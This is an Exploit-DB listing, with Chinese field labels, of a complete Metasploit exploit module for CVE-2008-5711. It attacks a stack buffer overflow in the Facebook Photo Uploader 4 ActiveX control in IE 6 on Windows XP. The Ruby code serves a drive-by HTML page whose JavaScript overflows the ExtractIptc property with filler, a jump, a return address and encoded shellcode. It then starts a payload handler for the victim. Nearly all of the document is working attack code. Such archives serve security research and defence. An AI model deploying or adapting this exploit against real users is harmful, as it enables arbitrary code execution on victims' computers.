标题: Facebook Photo Uploader 4 - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16505 CVE: 2008-5711 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: facebook_extractiptc.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Facebook Photo Uploader 4.
    By sending an overly long string to the "ExtractIptc()" property located
    in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-5711' ],
     [ 'OSVDB', '41073' ],
     [ 'BID', '27534' ],
     [ 'URL', 'http://milw0rm.com/exploits/5049' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English',     { 'Ret' => 0x74c9de3e } ], # 02/07/08
    ],                        # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
   'DisclosureDate' => 'Jan 31 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname   = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)
  rand1   = rand_text_alpha(rand(100) + 1)
  rand2   = rand_text_alpha(rand(100) + 1)
  rand3   = rand_text_alpha(rand(100) + 1)
  rand4   = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  filler  = Rex::Text.to_unescape(rand_text_alpha(2))
  jmp     = Rex::Text.to_unescape([0x969606eb].pack('V'))
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))
  sc      = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Build out the message
  content = %Q|<html>
<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
<script language='javascript'>
#{rand1} = unescape('#{filler}');
while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
#{rand2} = unescape('#{jmp}');
#{rand3} = unescape('#{ret}');
#{rand4} = unescape('#{sc}');
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
#{vname}.ExtractIptc = #{strname};
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16505